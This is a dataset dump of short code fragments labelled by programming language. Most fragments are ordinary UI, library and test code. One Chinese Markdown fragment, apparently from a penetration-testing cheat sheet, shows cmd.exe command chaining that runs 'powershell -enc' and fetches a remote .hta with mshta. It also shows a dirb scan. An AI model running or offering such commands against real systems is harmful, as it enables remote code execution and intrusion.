content stringlengths 2 6.21k | label stringclasses 16
values |
|---|---|
at can be found in the LICENSE file.
library uix.src.container;
import 'vdom/vcontext.dart';
import 'vdom/vnode.dart';
abstract class Container {
bool get isAttached;
void insertChild(VNode container, VNode node, VNode next) {
final nextRef = next == null ? null : next.ref;
node.create((this as VContext... | Dart |
eam *dec = (CRtpStream*)handle->data;
int ret;
#ifndef JRTPLIB
ret = uv_udp_recv_stop(&dec->m_uvSkt);
if(ret < 0) {
Log::error("stop rtp recv port:%d err: %s", dec->m_nPort, uv_strerror(ret));
}
uv_close((uv_handle_t*)&dec->m_uvSkt, udp_uv_close_cb);
#endif
r... | C++ |
];
const OCC_POSITIONS:[(usize,usize); 4] = [
(1,4),(4,0),(0,4),(5,7)
];
const MOVES:[Move; 4] = [
Move::Put(MochigomaKind::Hisha,KomaDstPutPosition(9-(8-1),(8-0)+1)),
Move::Put(MochigomaKind::Hisha,KomaDstPutPosition(9-(8-7),(8-0)+1)),
Move::Put(MochigomaKind::Hisha,KomaDstPutPosition(9-(8-0),... | Rust |
Y, isRightButton))
{
hitOnLion = true;
_hitSprite = sprite;
break;
}
}
base.MouseDown(x, y, isRightButton);
}
public override void MouseUp(int x, int y)
{
hitOnLion =... | C# |
99.8.2-111.8-2.4-112.7-2.6-12.3-1.7-20.6-10.5-21-23.1-.1-1.6-.2-71.6-1-129.1-.1-4.7 1.6-6.4 5.9-7.5 12.5-3 24.9-6.1 37.3-9.7 4.3-1.3 6.8-.2 8.4 3.5 4.5 10.3 8.8 20.6 13.2 30.9 1.6 3.7.1 4.4-3.4 4.4-10-.2-20-.1-30.4-.1v27h116c-1.4-9.5-2.7-18.1-4-27.5-7 0-13.8.4-20.4-.1-22.6-1.6-18.3-4.4-84-158.6-8.8-20.1-27.9-62.1-36.5-... | Dart |
ey symbol
let anno_key_symbol = usize::parse_key(&data)?;
let result = (
item_id,
self.anno_key_symbols
.get_value(anno_key_symbol)
.unwrap_or_default(),
anno_val,
);
Ok(result)
}
fn get_by_anno_qname_range<'a>... | Rust |
v-node{position:relative}.jv-node:after{content:','}.jv-node:last-of-type:after{content:''}.jv-node.toggle{margin-left:13px !important}.jv-node .jv-node{margin-left:25px}\n",""]),t.exports=e},function(t,e){t.exports=function(t){var e="undefined"!=typeof window&&window.location;if(!e)throw new Error("fixUrls requires wi... | JavaScript |
0" height="30" preserveAspectRatio="xMidYMid meet" viewBox="0 0 30 30"><path fill="currentColor" d="M4.37 15.62c0-.24.08-.44.25-.61.18-.17.38-.25.6-.25h2.04c.23 0 .42.08.58.25.15.17.23.37.23.61s-.08.44-.23.6c-.15.17-.35.25-.58.25H5.23c-.23 0-.43-.08-.6-.25a.826.826 0 01-.26-.6zm2.86-6.91c0-.23.08-.43.23-.61.2-.17.41-.2... | Dart |
thods
}
```
**よくある失敗例:**
- `node:sqlite`のインポート方法を間違える → **結果**: モジュールが見つからない
- 非同期処理の扱いを間違える → **結果**: DatabaseSyncは同期APIなのにasync/awaitを使う
### ステップ4: テストの実行と確認
**AIへの指示:**
```
npm testでテストを実行し、すべてパスすることを確認してください。
失敗するテストがあれば、実装を修正してください。
```
**期待される結果:**
- すべてのテストが緑色でパス
- カバレッジの確認
### ステップ5: CLIの実装
**AIへの指示:**
``... | Markdown |
s];
if (isLastSource && !keepSource) {
emit(
SourcedPagingSuccess(
currentPageKey: currentPageKey,
dates: items,
hasReachedMax: true,
currentDate: useDates ? (state.currentDate + 1) : state.currentDate,
),
);
} else if (kee... | Dart |
target = user_fp / "presets.json"
log.info(f" <c>{preset_fp}</c> -> <c>{target}</c>")
preset_fp.rename(target)
shutil.rmtree(ob11_user_fp)
log.success(f"<y>{event.get_user_id()}</y> 的用户数据迁移完成")
def _session_id(event: Event, session: EventSession, target: MsgTarget) -> str:
... | Python |
from __future__ import annotations
from typing import TYPE_CHECKING, Any
from fastapi import HTTPException
from heliclockter import datetime_utc
from pydantic import BaseModel
from bracket.models.db.account import UserAccountType
from bracket.models.db.club import ClubCreateBody
from bracket.models.db.ranking import... | Python |
urns error",
msg: types.NewMsgCancelPostOwnerTransferRequest(
1,
1,
"",
),
shouldErr: true,
},
{
name: "valid message returns no error",
msg: msgCancelPostOwnerTransferRequest,
},
}
for _, tc := range testCases {
tc := tc
t.Run(tc.name, func(t *testing.T) {
err := tc.msg.Vali... | Go |
gpsLON_H, LEFT + SMLSIZE, newtext_color)
else
lcl_drawText(wgt.zone.x + 50, wgt.zone.y + 90, "home not set" , LEFT + SMLSIZE + BLINK, newtext_color)
lcl_drawText(wgt.zone.x + 50, wgt.zone.y + 105, "reset STATS once a", LEFT + SMLSIZE , newtext_color)
lcl_drawText(wgt.zone.x + 50, wgt.zone.y + 120, "GPS... | Lua |
.9 1 .7 1v.1l-.8 1-.7 1a1 1 0 0 0 0 .7 1 1 0 0 0 1.3.6c.2 0 .3-.2 1-1l.5-.7.6.8.7.8c.4.3 1 .3 1.3 0l.2-.3a1 1 0 0 0 0-.8l-.8-1.2-.7-1a26 26 0 0 0 1.5-2 .8.8 0 0 0 .1-.4c0-.4-.1-.7-.5-.9H20c-.4 0-.5 0-1.2.8l-.7.8-.6-.7-.7-.9a1 1 0 0 0-1 0Zm-9 2 .4.1c.3.1.6.5.7.8l.1.6v.6c-.6 1-2 1.2-2.7.3-.3-.3-.3-.5-.3-1v-.5c.3-.5.7-.8 ... | JavaScript |
//Original:/testcases/core/c_dsp32shiftim_lhalf_rn/c_dsp32shiftim_lhalf_rn.dsp
// Spec Reference: dspshiftimm dreg_lo(hi) = lshift (dreg_lo(hi) by imm5)
# mach: bfin
.include "testutils.inc"
start
// lshift : neg data, count (+)=left (half reg)
// d_lo = lshift (d_lo BY d_lo)
// RLx by RLx
imm32 r0, 0x00000000;
R0... | Assembly |
hook(typedOptions);
}
const promise = asPromise(typedOptions);
onCancel(() => {
promise.catch(() => {});
promise.cancel();
});
return promise as unknown as CancelableRequest<Response>;
});
}
} catch (error) {
emitError(error);
return;
}
// Check... | Typescript |
# Part of Odoo. See LICENSE file for full copyright and licensing details.
from odoo import api, fields, models
from odoo.tools.translate import _
from datetime import timedelta
class HrEmployee(models.Model):
_inherit = "hr.employee"
newly_hired_employee = fields.Boolean('Newly hired employee', compute='_c... | Python |
ms-flex: 1 1 auto;
flex: 1 1 auto;
padding: 1rem
}
.modal-footer {
display: -webkit-box;
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
-webkit-box-align: center;
-webkit-align-items: center;
-ms-flex-align: center;
align-items: center;
-webkit-box-pack: end;
... | CSS |
})
// Register the font size command.
$.FE.RegisterCommand('formatOL', {
title: 'Ordered List',
refresh: function ($btn) {
this.lists.refresh($btn, 'OL');
},
callback: function () {
this.lists.format('OL');
},
plugin: 'lists'
})
// Add the list icons.
$.FE.DefineIcon('for... | JavaScript |
"Cocoa Brown",
"#FF302A0F" to "Woodrush",
"#FF304B6A" to "San Juan",
"#FF30D5C8" to "Turquoise",
"#FF311C17" to "Eclipse",
"#FF314459" to "Pickled Bluewood",
"#FF315BA1" to "Azure",
"#FF31728D" to "Calypso",
"#FF317D82" to "Paradiso",
"#FF32127A" t... | Kotlin |
total from list of invoice without tax and discount
static double calculateSubtotal(InvoiceModel invoice) {
double total = 0;
if (invoice.items == null) return total;
for (var item in invoice.items!) {
total += (item.price ?? 0) * (item.quantity ?? 0);
}
return total;
}
// get statu... | Dart |
"638B": "dǐ",
"638C": "zhǎng",
"638D": "hùn",
"638E": "jǐ",
"638F": "tāo",
"6390": "qiā",
"6391": "qí",
"6392": "pái",
"6393": "shū",
"6394": "qiān",
"6395": "líng",
"6396": "yē",
"6397": "yà",
"6398": "jué",
"6399": "zhēng",
"639A": "liǎng",
"639B": "... | Go |
ities.dp(120)) {
h = AndroidUtilities.dp(120);
}
if (needDrawBluredPreview()) {
if (AndroidUtilities.isTablet()) {
h = (int) (AndroidUtilities.getMinTabletSide() * 0.5f);
} else {
... | Java |
));
}
fn steps(cups: VecDeque<u8>, num: usize) -> String {
// play game
let mut cups = cups;
for _ in 0..num {
step(&mut cups);
}
// find cup #1 and drop it
while *cups.front().unwrap() != 1 {
let front = cups.pop_front().unwrap();
cups.push_back(front);
}
cups.... | Rust |
d
# =============================================================================
if seq < m: seq = m
# =============================================================================
##################################################################
# Main Script Starting Below
#########################################... | Python |
i, getter_AddRefs(msgHdr));
if (msgHdr != nullptr)
{
if (!(m_viewFlags & nsMsgViewFlagsType::kShowIgnored))
{
bool killed;
msgHdr->GetIsKilled(&killed);
if (killed)
{
ignoredHeaders++;
continue;
}
}
n... | C++ |
tThisValue().Type;
MethodInfo mainMethod = process.SelectedStackFrame.MethodInfo;
process.Continue();
Assert.AreEqual(type, process.SelectedStackFrame.GetThisValue().Type);
Assert.AreEqual(mainMethod, process.SelectedStackFrame.MethodInfo);
EndTest();
}
}
}
#endif
#if EXPECTED_OUTPUT
<?xml ve... | C# |
ion1 {
private fun chunk(list: List<Int>, size: Int): List<List<Int>> {
val chunks = mutableListOf<MutableList<Int>>()
list.forEach {
if (chunks.size == 0 || chunks.last().size == size) {
chunks.add(mutableListOf(it))
} else {
chunks.last().ad... | Kotlin |
0x1c($sp)
/* 15803C 801B1FCC 8FB20020 */ lw $s2, 0x20($sp)
/* 158040 801B1FD0 03E00008 */ jr $ra
/* 158044 801B1FD4 27BD0028 */ addiu $sp, $sp, 0x28
.size func_801B1E60, . - func_801B1E60
glabel func_801B1FD8_ovl7
/* 158048 801B1FD8 27BDFFD8 */ addiu $sp, $sp, -0x28
/* 15804C 801B1FDC AFB20020 */ sw $s... | Assembly |
]) != len(data.Columns) {
return g.Error("error running CompareChecksums query. Row vs Column size mismatch (%d != %d)", len(data.Rows[0]), len(data.Columns))
}
eg := g.ErrorGroup{}
for i, col := range data.Columns {
refCol := colMap[strings.ToLower(col.Name)]
checksum1 := colChecksum[strings.ToLower(col.Name... | Go |
: "flex flex-col" };
const _hoisted_2$R = { class: "flex flex-row items-center gap-2" };
const _hoisted_3$r = {
key: 0,
class: "pi pi-check text-green-500"
};
const _hoisted_4$h = { class: "file-info" };
const _hoisted_5$c = { class: "file-details" };
const _hoisted_6$9 = ["title"];
const _hoisted_7$4 = {
key: 0,... | JavaScript |
fined(_DEBUG)
return true;
#else
static ConVar<int> moo("moo", ConVar_None, 0);
static auto isProd = ([]()
{
wchar_t resultPath[1024];
static std::wstring fpath = MakeRelativeCitPath(L"CitizenFX.ini");
GetPrivateProfileString(L"Game", L"UpdateChannel", L"production", resultPath, std::size(resultPath), fpath.... | C++ |
ex();
worldrenderer.pos(parAxisAlignedBB.maxX, parAxisAlignedBB.minY, parAxisAlignedBB.minZ).endVertex();
worldrenderer.pos(parAxisAlignedBB.maxX, parAxisAlignedBB.maxY, parAxisAlignedBB.minZ).endVertex();
worldrenderer.pos(parAxisAlignedBB.maxX, parAxisAlignedBB.minY, parAxisAlignedBB.maxZ).endVertex();
worldr... | Java |
html><code>${formatDateTime(localDateTime).ifBlank { "No result" }}</code></html>"
)
}
private fun formatDateTime(localDateTime: ZonedDateTime): String =
try {
val formatter =
if (formattedIndividual.get()) {
DateTimeFormatter.ofPattern(formattedIndividualFormat.get())
.... | Kotlin |
context.RegisterFixes(addReferenceCodeActions, context.Diagnostics);
}
private static async Task<ImmutableArray<CodeAction>> GetAddReferencesCodeActionsAsync(CodeFixContext context, ISet<AssemblyIdentity> uniqueIdentities)
{
var result = ArrayBuilder<CodeAction>.GetInstance();
foreach (var... | C# |
mph': 'mph',
'm/s': 'm/s',
'mmHg': 'mmHg',
'mi': 'mi',
'km': 'km',
'inch': 'inch',
'mm': 'mm',
'hPa': 'hPa',
'settings': 'Nast.',
'no_inter': 'Žádný internet',
'on_inter': 'Připojte se k internetu a získejte meteorologické údaje.',
'location': 'Poloha',
'no_location':
... | Dart |
files:
raise ValueError(f"❌ 标签 '{material_tag}' 中没有找到视频文件")
# 选择指定索引的视频文件
if video_index >= len(video_files):
video_index = 0 # 如果索引超出范围,使用第一个
selected_video = video_files[video_index]
print(f"🎬 选择视频文件: {selected_video}")
# 使用选择的视频文件进行处理
return trans_dgh_img_insert(data, sel... | Python |
2, [], "f2b6", "M512 464c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V200.724a48 48 0 0 1 18.387-37.776c24.913-19.529 45.501-35.365 164.2-121.511C199.412 29.17 232.797-.347 256 .003c23.198-.354 56.596 29.172 73.413 41.433 118.687 86.137 139.303 101.995 164.2 121.512A48 48 0 0 1 512 200.724V464zm-65.666-196.605c-2.... | JavaScript |
n table.insert(objects, obj.ImageObject:new(lightWorld, "examples/img/complex/cylinder", mx, my, "circle"))
elseif k == "6" then table.insert(objects, obj.ImageObject:new(lightWorld, "examples/img/complex/screen1", mx, my))
elseif k == "7" then table.insert(objects, obj.ImageObject:new(lightWorld, "examples/img/compl... | Lua |
径的情况下,会拆分空格后面的内容,这里可以使用&符号
如:
>cmd.exe /c "cmd /c /../../../../../../../../../../windows/system32/calc&powershell -enc xxxx"
>cmd.exe /c "cmd /c /../../../../../../../../../../windows/system32/calc&mshta http://192.168.0.105:8080/xsuUEWJ.hta"
```
### Fuzz/扫描web
```
>dirb http://192.168.0.1 /root/asp.txt,/root/dir.t... | Markdown |
n Marino', 'Santu Marine', 'San Mairíne', 'সান মারিনো', '聖馬利諾', 'سان مارینو', 'San Marinas', 'Sên -Marëen', 'Ǹfúfúb Maríno', 'San Marín', 'サンマリノ', 'San Maríno', 'Sanimarino', 'Saint -Marin', 'Sā Malino', 'Samaríino', 'ແຊນ ມາຣິໂນ', 'سان\u200cمارینو', 'सैन मेरीनो', 'سن مارینو', 'Sántu Marinɛ', 'i -San Marino', 'Samali... | Python |
76d2}.mce-spacer{visibility:hidden}.mce-splitbtn:hover .mce-open{border-left:1px solid #e2e4e7}.mce-splitbtn .mce-open{border-left:1px solid transparent;padding-right:4px;padding-left:4px}.mce-splitbtn .mce-open:focus{border-left:1px solid #e2e4e7}.mce-splitbtn .mce-open:hover,.mce-splitbtn .mce-open:active{border-left... | CSS |
e3 .tb-desktop-nav .tb-has-children .tb-megamenu-in {
left: initial;
right: 0;
}
.tb-header.tb-style3 .tb-has-children.tb-megamenu {
position: initial;
}
.tb-header.tb-style3 .tb-desktop-nav .tb-nav-list>li:hover>a {
background-color: transparent;
color: rgba(255, 255, 255, 0.8);
}
.tb-header.tb-style3.tb-... | CSS |
/*
* Copyright (c) 2015, Nordic Semiconductor
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list o... | C |
"},
)
assert_matches_type(Optional[Clip], clip, path=["response"])
@parametrize
async def test_raw_response_create(self, async_client: AsyncCloudflare) -> None:
response = await async_client.stream.clip.with_raw_response.create(
account_id="023e105f4ecef8ad9ca31a8372d0c353",... | Python |
/// }
/// ```
abstract class RsaSsaPkcs1v15 extends SignatureAlgorithm {
static const int defaultModulusLength = 4096;
static const List<int> defaultPublicExponent = RsaPss.defaultPublicExponent;
factory RsaSsaPkcs1v15(HashAlgorithm hashAlgorithm) {
return Cryptography.instance.rsaSsaPkcs1v15(hashAlgorithm)... | Dart |
import {networkPresets, NetworkThrottlingConditionsGroup} from './ThrottlingPresets.js'; // eslint-disable-line no-unused-vars
export class NetworkThrottlingSelector {
/**
* @param {function(!Array<!NetworkThrottlingConditionsGroup>):!Array<?SDK.NetworkManager.Conditions>} populateCallback
* @param {functio... | JavaScript |
t.Comment = comment;
return out;
}
/* [MS-XLSB] 2.1.7.61 Workbook */
function parse_wb_bin(data, opts) {
var wb = { AppVersion:{}, WBProps:{}, WBView:[], Sheets:[], CalcPr:{}, xmlns: "" };
var state = [];
var pass = false;
if(!opts) opts = {};
opts.biff = 12;
var Names = [];
var supbooks = ([[]]);
supbooks.... | JavaScript |
Tool_BrushSettings: 'readonly',
ClothPaintTool_GradientSettings: 'readonly',
ClothPaintTool_SmoothSettings: 'readonly',
ClothPaintTool_FillSettings: 'readonly',
ActorFactoryLandscape: 'readonly',
LandscapeEditorObject: 'readonly',
ELandscapeToolFlattenMode: 'readonly',
ELandscapeToolErosionMode: 'readonly',
ELa... | JavaScript |
slash ?: Path.DIRECTORY_SEPARATOR.toSlash()
for (i in firstNewSegmentIndex until otherSegments.size) {
buffer.write(DOT_DOT)
buffer.write(slash)
}
for (i in firstNewSegmentIndex until thisSegments.size) {
buffer.write(thisSegments[i])
buffer.write(slash)
}
return buffer.toPath(normalize = fal... | Kotlin |
[t+1])){n=t;break}n=t+1}}return{col:e-r[n]+1,line:n+1}}mapResolve(e){return/^\w+:\/\//.test(e)?e:l(this.map.consumer().sourceRoot||this.map.root||".",e)}origin(e,t,r,n){if(!this.map)return!1;let s,l,c=this.map.consumer(),u=c.originalPositionFor({column:t,line:e});if(!u.source)return!1;"number"==typeof r&&(s=c.originalP... | JavaScript |
}
}
for( Iterator<Entry<Node,DependencySet>> i = differents.entrySet().iterator(); i.hasNext(); ) {
Entry<Node,DependencySet> entry = i.next();
Node node = entry.getKey();
DependencySet d = entry.getValue();
if( d.getBranch() > branch ) {
if( log.isLoggable... | Java |
application.
*
* @throws If the deployment yaml file does not exist in the directory desribed
* by the given {@link Locator}.
* @throws If a `package.json` file exists but a problem occurred while
* trying to parse the file.
* @throws If the directory described by the {@link Reader} a... | Typescript |
N) {
context.getSharedPreferences("secure_guard_prefs", Context.MODE_PRIVATE)
.edit().putBoolean(id, enable).apply()
}
}
override fun isPolicyActive(context: Context, dpm: DevicePolicyManager, admin: ComponentName): Boolean {
if (Build.VERSION.SDK_INT >= Build.VERSIO... | Kotlin |
local jokerInfo = {
key = "baker",
pos = LOSTEDMOD.funcs.coordinate(42),
atlas = 'losted_jokers',
rarity = 2,
cost = 6,
loc_vars = function(self, info_queue, card)
info_queue[#info_queue + 1] = G.P_CENTERS.m_losted_toast
end,
calculate = function(self, card, context)
if c... | Lua |
: posixContext;
return pathUtil.split(path);
}
static String dirname(String path, bool isWindows) {
final pathUtil = isWindows ? windowsContext : posixContext;
return pathUtil.dirname(path);
}
}
class DirectoryOption {
String home;
bool showHidden;
bool isWindows;
DirectoryOption(
{t... | Dart |
rt_var(var_hir_id),
_ => span_bug!(expr.span, "res `{:?}` not yet implemented", res),
}
}
fn convert_var(&mut self, var_hir_id: hir::HirId) -> ExprKind<'tcx> {
// We want upvars here not captures.
// Captures will be handled in MIR.
let is_upvar = self
.... | Rust |
>
public static PersonNameElement Parse(ReadOnlyMemory<byte> utf8Json, JsonDocumentOptions options = default)
{
using var jsonDocument = JsonDocument.Parse(utf8Json, options);
return new PersonNameElement(jsonDocument.RootElement.Clone());
}
/// <summary>
/// Parses a JSON string in... | C# |
// SPDX-License-Identifier: GPL-2.0-or-later
/*
Driver for Philips tda8262/tda8263 DVBS Silicon tuners
(c) 2006 Andrew de Quincey
*/
#include <linux/slab.h>
#include <linux/module.h>
#include <linux/dvb/frontend.h>
#include <asm/types.h>
#include "tda826x.h"
static int debug;
#define dprintk(args...... | C |
display: inline-block;
font-size: 16px;
}
.Subject-TYPE-Describe p {
color: #747474;
display: inline-block;
margin-left: 25px;
}
.Column-Number {
width: 54px;
float: left;
}
.Column-Number .Column-Box {
height: 44px;
font: normal 18px/44px "arial";
text-align: center;
color: #505050;
backgroun... | CSS |
o (['’]([DSTdst]|ll|[rv]e|LL|[RV]E))?%>*%[^_~] 1245""",
"""match %[^_~]%<* have (['’]([DSTdst]|ll|[rv]e|LL|[RV]E))?%>*%[^_~] 125""",
"""match %[^_~]%<* it (['’]([DSTdst]|ll|[rv]e|LL|[RV]E))?%>*%[^_~] 1346""",
"""match %[^_~]%<* just (['’]([DSTdst]|ll|[rv]e|LL|[RV]E))?%>*%[^_~] 245""",
""... | Kotlin |
rt MPV
let mut command = Command::new(&config.mpv_command.command);
let mut mpv_ipc_flag = OsString::new();
mpv_ipc_flag.push("--input-ipc-server=");
mpv_ipc_flag.push(&config.ipc_socket.0);
debug!("{}", mpv_ipc_flag.clone().into_string().unwrap());
command
.args(&config.mpv_command.f... | Rust |
complains that the crate using pyo3 does not contains a `#[link(...)]`
// attribute with pythonXY.
if env::var("CARGO_CFG_TARGET_FAMILY")? == "windows" {
println!("cargo:rustc-link-lib=pythonXY:python3");
}
Ok(())
}
fn main() -> Result<()> {
// If PYO3_NO_PYTHON is set with abi3, we can b... | Rust |
gngr14pyrneYnfgReebeRi,%function
b__MA7naqebvq8uneqjner14VCPGuernqFgngr14pyrneYnfgReebeRi:
nop
.text
.globl b__MA7naqebvq8uneqjner12CebprffFgngr21trgJrnxCebklSbeUnaqyrRv
.type b__MA7naqebvq8uneqjner12CebprffFgngr21trgJrnxCebklSbeUnaqyrRv,%function
b__MA7naqebvq8uneqjner12CebprffFgngr21trgJrnxCebklSbeUnaqyrRv:
nop
.text... | Assembly |
putStream(crc32);
m.write(os);
e.setSize((long) os.n);
e.setCrc(crc32.getValue());
}
/*
* compute the crc32 of a file. This is necessary when the ZipOutputStream
* is in STORED mode.
*/
private void crc32File(ZipEntry e, File f) throws IOException {
InputStre... | Java |
i + 2;
}
i += 6;
}
num
}
pj_euler::run!("Largest prime factor", largest_prime_factor(600851475143));
pj_euler::test!(
{largest_prime_factor_of_13195, largest_prime_factor(13195), 29},
{largest_prime_factor_of_333, largest_prime_factor(333), 37},
{largest_prime_factor_of_331, lar... | Rust |
gingerbreadBlock = nil
} else {
gingerbreadBlock = big.NewInt(gingerbreadBlockNumber)
}
} else {
gingerbreadBlock = common.Big1
}
// Genesis config
genesisConfig, err := template.createGenesisConfig(env, gingerbreadBlock)
if err != nil {
return nil, nil, err
}
// Overrides
if ctx.IsSet("epoch") {
... | Go |
{
private innerValue: T;
private changed = new Array<( value: T ) => void>();
private touched = new Array<() => void>();
get value(): T {
return this.innerValue;
}
set value( value: T ) {
if ( this.innerValue !== value ) {
this.innerValue = value;
this... | Typescript |
| BEIR | 多个数据集 | 信息检索 | nDCG@10 | 多个领域的综合信息检索模型评估 |
| RGB | 新闻文章、ChatGPT 生成的问答 | 强健问答 | 准确率、拒绝率、错误检测率、错误纠正率 | RAG 系统的鲁棒性和可靠性 |
| 多跳 RAG | 香港科技大学整理的查询 | 复杂问答 | 各种 | 需要跨源综合的 RAG 应用 |
| CRAG | 多个来源(金融、体育、音乐等) | 事实问答 | 四类评估(完美、可接受、缺失和错误) | 使用不同问题类型评估事实问答 |
我们已经研究了帮助自动化计算评估指标和基准框架,这些基准框架能够实现不同实现和方法的比较。框架将帮助您提高系统的性能,而基准将有助... | Markdown |
', '国务院直属机构', '国务院直属机构'},
{'61618', '中国国家税务总局', '中国国家税务总局'},
{'61619', '中华人民共和国国家旅游局', '中华人民共和国国家旅游局'},
{'61620', '国家质量监督检验检疫总局', '国家质量监督检验检疫总局'},
{'61621', '中国民用航空总局', '中国民用航空总局'},
{'61622', '中华人民共和国国家统计局', '中华人民共和国国家统计局'},
{'61623', '中华人民共和国海关总署', '中华人民共和国海关总署'},
{'61624', '中国国家体育总局', '中国国家体育总局'},
{'61625', '中华人民共和国国... | Lua |
token,
)
context = browser.new_context(storage_state=storage_state)
page = context.new_page()
if settings.DEBUG_PLAYWRIGHT:
DebugPlaywright.debug(page)
# FIXME: Use of Timeout correct?
timeout = ... | Python |
color:var(--pico-color);--pico-dropdown-hover-background-color:#eff1f4;--pico-loading-spinner-opacity:0.5;--pico-modal-overlay-background-color:rgba(232, 234, 237, 0.75);--pico-progress-background-color:#dfe3eb;--pico-progress-color:var(--pico-primary-background);--pico-tooltip-background-color:var(--pico-contrast-back... | CSS |
: 1
jsonpath: $.secrets[?@.name=="thebadsecret"].value
response: '{"secrets": [{"name": "thesecret", "value": "secret-value"}, {"name": "alsosecret", "value": "another-value"}]}'
want:
path: /api/getsecret?id=testkey&version=1
err: "filter worked but didn't get any result"
---
case: success with jsonpath filter... | Go |
padding;
}
// Rounded corners
//
// These rulesets must come after the sizing ones to properly override sm and lg
// border-radius values when extending. They're more specific than we'd like
// with the `.input-group >` part, but without it, we cannot override the sizing.
// stylelint-disable-next-line no-duplicate-... | CSS |
(function()
local IEex_Debug_DisableOpcodesMem = IEex_Malloc(0x4)
IEex_WriteDword(IEex_Debug_DisableOpcodesMem, IEex_Debug_DisableOpcodes and 1 or 0)
IEex_DefineAssemblyLabel("IEex_Debug_DisableOpcodes", IEex_Debug_DisableOpcodesMem)
IEex_DisableCodeProtection()
--------------------
-- Opcode Changes --
-----... | Lua |
keepLastCompletion;
}
@Override
public void setKeepLastCompletion(final boolean keepLastCompletion)
{
_keepLastCompletion = keepLastCompletion;
}
@Override
public int size()
{
return _nodes.size();
}
@Override
public boolean isEmpty()
{
return _nodes.isEmpty();
}
@Override
public void setLastCo... | Java |
keyboardListener.enableRepeatEvents(enabled)
//#else
Keyboard.enableRepeatEvents(enabled)
//#endif
}
@JvmStatic
fun isCtrlKeyDown(): Boolean = if (UMinecraft.isRunningOnMac) {
isKeyDown(KEY_LMETA) || isKeyDown(KEY_RMETA)
} else isKeyDown(KEY_LCONTROL) || isKeyDown(KEY_RC... | Kotlin |
rs, &ldap.EntryAttribute{Name: "shadowInactive", Values: []string{"-1"}})
attrs = append(attrs, &ldap.EntryAttribute{Name: "shadowLastChange", Values: []string{"11000"}})
attrs = append(attrs, &ldap.EntryAttribute{Name: "shadowMax", Values: []string{"99999"}})
attrs = append(attrs, &ldap.EntryAttribute{Name: "sha... | Go |
key_check: move.b (a0),d0 ;read ikbd control
btst #0,d0 ;more data to read?
bne keyloop ;yes, so process it
endmykey movem.l (a7)+,d0/a0-1 ;restore registers
bclr #6,$fffffa11.w ;signal end of ikbd interrupt
rte
packet_table:
dc.b 1 ;$f6 - keyboard packet
dc.b 5 ;$f7 - absolute mouse packet
dc.b 2 ;$f... | Assembly |
namespace Schema.NET;
using System;
using System.Collections.Generic;
using System.Reflection;
using System.Runtime.Serialization;
using System.Text.Json;
using System.Text.Json.Serialization;
/// <summary>
/// Converts a Schema enumeration to and from JSON.
/// </summary>
/// <typeparam name="T">The enumeration type... | C# |
llamar a esa función con
un valor de tipo `Meters` o un `u32` simple.
También podemos usar el pattern newtype para abstraer algunos detalles de
implementación de un tipo: el nuevo tipo puede exponer una API pública que es
diferente de la API del tipo interno privado.
Los newtypes también pueden ocultar la implementa... | Markdown |
ount(to)),
value: eth_value,
gas_price,
gas: U256::from(MAX_GAS_LIMIT),
data,
}
}
pub fn parse_private_key(path: &str) -> Result<ethereum_types::H256> {
let content = std::fs::read_to_string(path)?;
let private_key_string = content
.split_whitespace()
.next()... | Rust |
ntent = ByteArrayOutputStream().use {
bloomFilter.writeTo(it)
it.toByteArray()
}
insertSlice(kid, '4', 'e', "0", DccSliceType.BF, content)
val result = isDccRevokedUseCase.execute(dccRevocationDataHolder)
assertTrue(result!!)
}
@Test
fun signatureSe... | Kotlin |
r3, r3, r2
orreq r3, r3, r1, asl #16
strne r3, [ip, #4]
streq r3, [ip, #4]
.L13809:
mov r3, r0, lsr #8
ands r2, r3, #15
beq .L13813
ldr r1, [ip, #8]
orr r2, r6, r2
tst r1, #256
movne r3, r1, lsr #16
movne r3, r3, asl #16
orreq r3, r2, #768
orrne r2, r2, #768
orrne r3, r3, r2
orreq r3, r3,... | Assembly |
FrnepurdREXAF_14FrnepuVgrengbeR
.type b__MAX6vph_6412FgevatFrnepurdREXAF_14FrnepuVgrengbeR,%function
b__MAX6vph_6412FgevatFrnepurdREXAF_14FrnepuVgrengbeR:
nop
.text
.globl b__MA6vph_648GvzrMbar14trgPnabavpnyVQREXAF_13HavpbqrFgevatREF1_EnE10HReebePbqr
.type b__MA6vph_648GvzrMbar14trgPnabavpnyVQREXAF_13HavpbqrFgevatREF1_... | Assembly |
eturn _currentNode.XamlType; }
}
public override object Value
{
get { return _currentNode.Value; }
}
public override XamlMember Member
{
get { return _currentNode.Member; }
}
public override XamlSchemaContext SchemaContext
... | C# |
_Mesh_FaceNum = 0;
g_Mesh_pFaceData = NULL;
g_Mesh_FaceDataForNormalsVertex = NULL;
g_Mesh_MaterialUsed = 0; /// optionally assigned by 0x4130 (implement!!)
g_Mesh_NormalsNum = 0;
g_Mesh_pNormalsData = NULL;
g_Mesh_pTextureData = NULL;
// Set default identity matrix
D3DMATRIX DefaultMatrix;
D3DUtil_SetIden... | C++ |
["Seperation"] = 0,
["VertPos"] = 50,
["TargetOn"] = true,
["MobTargetPC"] = false,
["PlayerTargetPC"] = false,
["MobClass"] = false,
["ShowIcons"] = false,
["BlinkLongCast"] = true,
["BlinkInstaCast"] = false,
["SeperateNumbers"] = false
};
end
if MoogHUDInfo.SelfOn == nil t... | Lua |
Replicate` ([@phansys](https://github.com/phansys))
- [[#2042](https://github.com/sonata-project/SonataMediaBundle/pull/2042)] Added name for blocks so they can be recognized on SonataPageBundle ([@jordisala1991](https://github.com/jordisala1991))
- [[#2040](https://github.com/sonata-project/SonataMediaBundle/pull/2040... | Markdown |
8" r="0.5"/><circle cx="19" cy="8" r="0.5"/><circle cx="5" cy="16" r="0.5"/><circle cx="12" cy="16" r="0.5"/><circle cx="19" cy="16" r="0.5"/><g stroke="none" fill="currentColor"><circle cx="5" cy="8" r="1"/><circle cx="12" cy="8" r="1"/><circle cx="19" cy="8" r="1"/><circle cx="5" cy="16" r="1"/><circle cx="12" cy="16... | JavaScript |
er {
--highcontrast-alert-banner-border-color: CanvasText;
--highcontrast-alert-banner-border-width: var(--spectrum-border-width-100);
}
}
/*!
* Copyright 2024 Adobe. All rights reserved.
*
* This file is licensed to you under the Apache License, Version 2.0 (the "License");
* you may not use this file except ... | CSS |
sx
cmpi.l #(2*Largimage/4)*2,posx
bne.s pas_gauche
clr.l posx
pas_gauche:
cmpi.b #57,$fffffc02.w
